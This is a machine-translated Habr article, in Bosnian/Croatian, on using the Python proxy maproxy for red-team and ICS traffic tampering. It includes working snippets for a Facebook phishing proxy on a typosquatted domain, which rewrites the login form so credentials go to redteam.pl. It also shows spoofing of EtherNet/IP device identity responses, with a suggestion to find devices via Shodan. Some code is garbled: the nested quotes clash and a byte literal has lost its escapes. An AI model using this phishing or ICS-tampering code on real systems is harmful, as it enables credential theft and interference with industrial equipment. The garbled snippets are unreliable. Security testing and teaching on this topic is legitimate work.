Prijevod članka pripremljen je uoči početka kursa
napomena
Različiti tipovi sigurnosnih procjena, u rasponu od redovnog testiranja penetracije i operacija Red Teama do hakovanja IoT/ICS uređaja i SCADA, uključuju rad s binarnim mrežnim protokolima, odnosno presretanje i modificiranje mrežnih podataka između klijenta i cilja. Njuškanje mrežnog saobraćaja nije težak zadatak jer imamo alate kao što su Wireshark, Tcpdump ili Scapy, ali izgleda da je modifikacija radno intenzivniji zadatak jer ćemo morati imati neku vrstu sučelja za čitanje mrežnih podataka, filtriranje, promjenu ga u hodu i pošaljite ga nazad ciljnom hostu u skoro realnom vremenu. Osim toga, bilo bi idealno kada bi takav alat mogao automatski raditi s više paralelnih veza i biti prilagodljiv pomoću skripti.
Jednog dana sam otkrio alat pod nazivom
, dokumentacija mi je to brzo stavila do znanja maproxy
– upravo ono što mi treba. Ovo je prilično jednostavan, svestran i lako podesiv TCP proxy. Testirao sam ovu alatku na nekoliko prilično složenih aplikacija, uključujući ICS uređaje (koji generišu mnogo paketa) da vidim da li može da se nosi sa mnogim paralelnim vezama, a alat se dobro pokazao.
Ovaj članak će vas upoznati s obradom mrežnih podataka u hodu pomoću maproxy
.
pregled
Alat maproxy
je baziran na Tornadu, popularnom i zrelom asinkronom mrežnom okviru u Pythonu.
Općenito, može raditi na nekoliko načina:
TCP:TCP
– nešifrovane TCP veze;TCP:SSL
иSSL:TCP
– sa jednosmjernom enkripcijom;SSL:SSL
– dvosmjerna enkripcija.
Dolazi kao biblioteka. Za brzi početak, možete koristiti primjere datoteka koje odražavaju glavnu
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Slučaj 1 – jednostavan dvosmjerni proxy
Na osnovu tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
po defaultu ProxyServer()
uzima dva argumenta – lokaciju veze i ciljni port. server.listen()
uzima jedan argument - port za slušanje dolazne veze.
Izvršavanje skripte:
# python tcp2tcp.py
Da bismo pokrenuli test, spojit ćemo se na lokalni SSH server preko naše proxy skripte, koja sluša na 2222/tcp
port i povezuje se na standardni port 22/tcp
SSH serveri:
Baner dobrodošlice vas obavještava da je naš primjer skripte uspješno proxy mrežni promet.
Slučaj 2 – modifikacija podataka
Još jedan demo skript logging_proxy.py
idealno za interakciju sa mrežnim podacima. Komentari u datoteci opisuju metode klase koje možete modificirati da biste postigli svoj cilj:
Najzanimljivije je ovdje:
on_c2p_done_read
– presretanje podataka na putu od klijenta do servera;on_p2s_done_read
- obrnuto.
Pokušajmo promijeniti SSH baner koji server vraća klijentu:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Izvršite skriptu:
Kao što vidite, klijent je zaveden jer je ime SSH servera za njega promijenjeno u «DumnySSH»
.
Slučaj 3 – jednostavna phishing web stranica
Postoji bezbroj načina za korištenje ovog alata. Ovog puta hajde da se fokusiramo na nešto praktičnije sa operativne strane Crvenog tima. Imitirajmo odredišnu stranicu m.facebook.com
i koristite prilagođenu domenu s namjernom greškom u kucanju, na primjer, m.facebok.com
. U svrhu demonstracije, pretpostavimo da smo domenu registrovali.
Uspostavit ćemo nešifrovanu mrežnu vezu sa našim proxyjem žrtve i SSL Stream-om na Facebook server (31.13.81.36
). Da bi ovaj primjer funkcionirao, moramo zamijeniti HTTP zaglavlje hosta i ubaciti ispravno ime hosta, a također ćemo onemogućiti kompresiju odgovora kako bismo mogli lako pristupiti sadržaju. Na kraju ćemo zamijeniti HTML obrazac tako da se akreditivi za prijavu šalju nama umjesto Facebookovim serverima:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/bs/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Kao rezultat:
Kao što vidite, uspjeli smo zamijeniti originalnu stranicu.
Slučaj 4 – Portiranje Ethernet/IP
Već neko vrijeme se bavim industrijskim uređajima i softverom (ICS/SCADA), poput programabilnih kontrolera (PLC), I/O modula, drajvova, releja, okruženja za programiranje ljestvica i još mnogo toga. Ovo kućište je za one koji vole industrijske stvari. Hakiranje takvih rješenja uključuje aktivno igranje s mrežnim protokolima. U sljedećem primjeru, želio bih pokazati kako možete modificirati ICS/SCADA mrežni promet.
Za ovo će vam trebati sljedeće:
- Mrežni njuškalo, na primjer, Wireshark;
- Ethernet/IP ili samo SIP uređaj, možete ga pronaći koristeći Shodan servis;
- Naš scenario je zasnovan na
maproxy
.
Prvo, pogledajmo kako izgleda tipičan identifikacijski odgovor iz CIP-a (Common Industrial Protocol):
Identifikacija uređaja se postiže korištenjem Ethernet/IP protokola, koji je poboljšana verzija industrijskog Ethernet protokola koji obavija kontrolne protokole kao što je CIP. Promijenit ćemo označeno ID ime koje je vidljivo na snimku ekrana "NI-IndComm za Ethernet" koristeći našu proxy skriptu. Mogli bismo ponovo koristiti skriptu logging_proxy.py
i na sličan način modificirati metodu klase on_p2s_done_read
, jer želimo da različito ime identiteta bude vidljivo na klijentu.
Kod:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
U suštini, dva puta smo tražili identifikaciju uređaja, drugi odgovor je bio originalni, a prvi je izmijenjen u hodu.
I posljednje
Po mom mišljenju maproxy
Zgodan i jednostavan alat, koji je također napisan na Pythonu, tako da vjerujem da i vi možete imati koristi od njegove upotrebe. Naravno, postoje složeniji alati za obradu i modificiranje mrežnih podataka, ali i oni zahtijevaju više pažnje i obično su kreirani za određeni slučaj upotrebe, npr. maproxy
možete brzo implementirati svoje ideje za presretanje mrežnih podataka, budući da su primjeri skripti vrlo jasni.
izvor: www.habr.com